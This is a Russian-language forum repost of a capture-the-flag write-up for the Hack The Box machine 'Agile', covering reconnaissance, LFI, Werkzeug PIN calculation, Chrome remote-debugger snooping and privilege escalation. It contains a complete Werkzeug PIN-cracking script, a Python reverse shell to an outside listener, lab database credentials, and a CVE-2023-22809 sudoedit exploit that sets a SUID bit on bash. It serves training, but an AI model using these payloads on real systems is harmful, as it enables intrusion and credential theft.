• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Ломаем PIN к веб-консоли Flask Werkzeug

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я разберу атаку на веб‑консоль Flask Werkzeug, работу с удаленным отладчиком Chrome и покажу, как эксплуатировать нашумевшую уязвимость в sudoedit для чтения произвольных файлов в системе.
Поможет мне в этом тренировочная машина Agile с площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — средний.


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.203 agile.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. Как обычно в такой ситуации, сразу идем смотреть веб.

Главная страница agile.htb
Нас встречает стартовая страница Nginx, а это значит, что основной сайт расположен либо в другом каталоге, либо на другом домене. Попробуем его найти, для этого просканируем каталоги с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -w directory_2.3_medium_lowercase.txt -d 2 -t 256
Результат сканирования каталогов
В результате сканирования находим редирект на домен superpass.htb. Добавляем его в файл /etc/hosts и проверяем.

10.10.11.203 agile.htb superpass.htb
Главная страница сайта superpass.htb

Точка входа​

На сайте есть возможность зарегистрироваться и авторизоваться. Сделаем это, чтобы расширить область тестирования.

Форма авторизации
Теперь нам доступен онлайновый сервис для хранения учетных данных.

Страница vault
Нам нужно протестировать максимально возможное число функций сервиса. Создаем тестовую запись и экспортируем пароли.

Экспорт паролей
Файл скачивается автоматически, просмотрим весь процесс в Burp History.

Burp History
Имя файла для скачивания передается в параметре fn на странице download. Стоит проверить, можно ли выполнить обход каталога и получить другой произвольный файл.

Содержимое файла /etc/passwd
Получаем содержимое файла /etc/passwd, а это значит, что на сайте есть уязвимость LFI.


Точка опоры​


LFI​

Первым делом, когда обнаруживаем LFI, нужно проверить все файлы, которые могут содержать интересную информацию. На GitHub можно найти много таких словарей, а перебирать по ним будем с помощью Burp Intruder.

Burp Intruder — вкладка Payload positions

В результате ничего особенного не нашли, только из файла /etc/passwd узнаем о наличии тестовой версии сайта на домене test.superpass.htb, а также получим переменные окружения процесса из файла /proc/self/environ.

Для просмотра ссылки Войди или Зарегистрируйся Содержимое файла /proc/self/environ

Переменные окружения раскрыли нам пользователя www-data, от имени которого работает сервис. Интересна и переменная CONFIG_PATH, где указан файл настроек /app/config_prod.json. Но при попытке прочитать его получаем ошибку Bad Request.

Запрос на загрузку файла /app/config_prod.json

Иногда при отображении ошибок приложение может раскрывать пути к файлам, в которых произошла ошибка. Поэтому попробуем скачать несуществующий файл /etc/qweqweqwe.txt.

Для просмотра ссылки Войди или Зарегистрируйся
Приложение предоставило большой вывод, в котором и присутствует путь к исполняемому файлу сайта:

/app/app/superpass/views/vault_views.py
Содержимое файла vault_views.py
Моей первой идеей было получить SECRET_KEY от Flask, чтобы можно было вручную генерировать идентификаторы сессии других пользователей и получать сохраненные пароли. Но в этом случае секретный ключ Flask не был явно задан.


Flask Werkzeug​

При регистрации и авторизации можно добиться ошибки Flask, что дает нам возможность запросить дебаг‑консоль Werkzeug. Но проблема в том, что она защищена девятизначным PIN-кодом.

Страница ошибки Flask Werkzeug Консоль Werkzeug
Тут нам и пригодится уязвимость LFI, так как, имея доступ к некоторым параметрам системы, можно рассчитать PIN с помощью скрипта из Для просмотра ссылки Войди или Зарегистрируйся. Часть параметров у нас уже есть:
  • имя пользователя, от имени которого работает приложение, — www-data;
  • название модуля — обычно flask.app или werkzeug.debug;
  • название приложения — тоже берем из скрипта wsgi_app, это DebuggedApplication или Flask;
  • путь к приложению Flask — /app/venv/lib/python3.10/site-packages/flask/app.py.
Еще два необходимых значения — MAC-адрес и идентификатор системы. Первый параметр получаем из файла /sys/class/net/eth0/address, а затем переводим в десятеричный формат: 345052368982.

Содержимое файла /sys/class/net/eth0/address Преобразованное значение
Чтобы получить второй недостающий параметр, нам нужно объединить значения из файлов /etc/machine-id и /proc/self/cgroup:

ed5b159560f54721827644bc9b220d00superpass.service
Содержимое файла /etc/machine-id Содержимое файла /proc/self/cgroup
Теперь используем перечисленные значения в следующем скрипте для получения всех возможных вариантов PIN-кода.

Код:
import hashlib
import itertools
from itertools import chain


def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
   h = hashlib.md5()
   crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)


def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
   h = hashlib.sha1()
   crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)


def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
   probably_public_bits = [
           username,
           modname,
           appname,
           flaskapp_path ]
   private_bits = [
           node_uuid,
           machine_id ]


   h = hasher
   for bit in chain(probably_public_bits, private_bits):
       if not bit:
           continue
       if isinstance(bit, str):
           bit = bit.encode('utf-8')
       h.update(bit)
   h.update(b'cookiesalt')


   cookie_name = '__wzd' + h.hexdigest()[:20]


   num = None
   if num is None:
       h.update(b'pinsalt')
       num = ('%09d' % int(h.hexdigest(), 16))[:9]


   rv =None
   if rv is None:
       for group_size in 5, 4, 3:
           if len(num) % group_size == 0:
               rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                             for x in range(0, len(num), group_size))
               break
       else:
           rv = num


   print(rv)


if __name__ == '__main__':
   usernames = ['www-data']
   modnames = ['flask.app', 'werkzeug.debug']
   appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
   flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
   nodeuuids = ['345052368982']
   machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']


   combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)


   for combo in combinations:
       username, modname, appname, flaskpath, nodeuuid, machineid = combo
       print('=========')
       crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
       print(f'{combo}')
       print('=========')

Результат работы скрипта
Первый сгенерированный PIN дает доступ к консоли Python 3, откуда мы легко получаем системный шелл.

__import__('os').popen('id').read();
Консоль Werkzeug
Теперь используем следующий реверс‑шелл Python 3, который поймаем на листенер pwncat -lp 4321.

Код:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

Сессия пользователя www-data

Продвижение​


Пользователь corum​

Наше приложение использует базу данных, а значит, скорее всего, и пароли тоже хранит в ней. Попробуем найти учетные данные для подключения к БД.

Поиск подстроки MySQL в исходных кодах приложения

В исходниках ничего найти не удалось, но это не проблема, так как у нас есть доступ к консоли отладчика приложения. Сначала найдем главный файл приложения app.py в модуле wsgi_app.

Модуль wsgi_app в отладчике

Открываем консоль и получаем из конфига параметры SECRET_KEY и SQL_URI. Второй содержит учетные данные для подключения к базе.

Параметры SECRET_KEY и SQL_URI
Теперь подключаемся к базе данных и заходим в таблицу superpass.

mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
use superpass;
Подключение к базе данных
И получаем таблицы из базы superpass.

show tables;
Таблицы в базе superpass
Нам интересна таблица passwords. Смотрим, что в ней.

select * from passwords;
Данные в таблице passwords

Строки из столбца password непохожи на хеши, поэтому попробуем использовать их как пароли и переберем при авторизации по SSH от имени пользователя corum.

Флаг пользователя
Флаг пользователя — у нас!


Пользователь edwards​

Чтобы повысить привилегии, нужно первым делом собрать информацию. Я, как обычно, прибегну к скриптам PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Смотрим, что нашел скрипт, и отмечаем для себя важную информацию.

В списке процессов — Google Chrome с активированной удаленной отладкой на порте 41829.

Дерево процессов

Из списка открытых портов определяем, что порт 41829 доступен только для обращения с локального хоста.

Список открытых портов

Среди последних модифицированных файлов в системе присутствует какой‑то пакет пользовательских скриптов activate.

Последние модифицированные файлы

Это дает нам вектор атаки. Если у Google Chrome активна удаленная отладка, значит, можно с помощью другого браузера Chrome подключиться к порту отладчика и получать все доступные данные. Это позволит как бы «подсматривать» за пользователем. Но первым делом организуем SSH-туннель так, чтобы весь трафик, который мы пошлем на локальный порт 41829, был туннелирован на порт 41829 указанного хоста (в данном случае 127.0.0.1) через SSH.

ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N
Когда туннель готов, можно приступать к настройке браузера. В строке поиска переходим на страницу chrome://inspect и в графе Discover network targets добавляем запись localhost:41829.

Настройки для разработчиков Chrome Добавление хоста

Когда пользователь зайдет на любую страницу, мы увидим информацию об этом. К примеру, в данном случае пользователь зашел на страницу Для просмотра ссылки Войди или Зарегистрируйся.

Информация о подключениях

Выбираем inspect и получаем ту же страницу, что отображается у пользователя.

Отладчик Google Chrome

Так мы получаем новые учетные данные, с которыми можно авторизоваться в системе от имени пользователя edwards.

Сессия нового пользователя

Локальное повышение привилегий​

Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало что меняется. Но все же некоторые вещи нужно проверить заново. Одна из них — настройки sudoers.

sudo -l
Настройки sudoers

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Видим, что наш пользователь может запустить команды sudoedit /app/config_test.json и sudoedit /app/app-testing/tests/functional/creds.txt от имени пользователя и группы dev_admin. А члены этой группы могут записывать в недавно обнаруженный файл /app/venv/bin/activate, который периодически выполняется в системе от имени рута.

Права на файл /app/venv/bin/activate

В sudoedit есть известная уязвимость CVE-2023-22809, подробнее можешь прочитать о ней в отчете Synacktiv (Для просмотра ссылки Войди или Зарегистрируйся). С помощью этой уязвимости мы сможем выполнить команду в контексте sudo от имени пользователя dev_admin. Это дает нам возможность дописать свой код в файл /app/venv/bin/activate, чтобы запустить что угодно в привилегированном контексте. Выполним команду nano -- /app/venv/bin/activate:

export EDITOR="nano -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
Эксплуатация уязвимости sudoedit
Теперь открываем файл в nano и дописываем код: chmod u+s /bin/bash. Он назначит S-бит файлу командной оболочки /bin/bash.

Редактирование файла Проверка успешной записи

Ждем некоторое время, периодически проверяя права на файл /bin/bash. Как только заметим выставленный S-бит, получаем привилегированную сессию.

Права на файл /bin/bash
/bin/bash -p
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here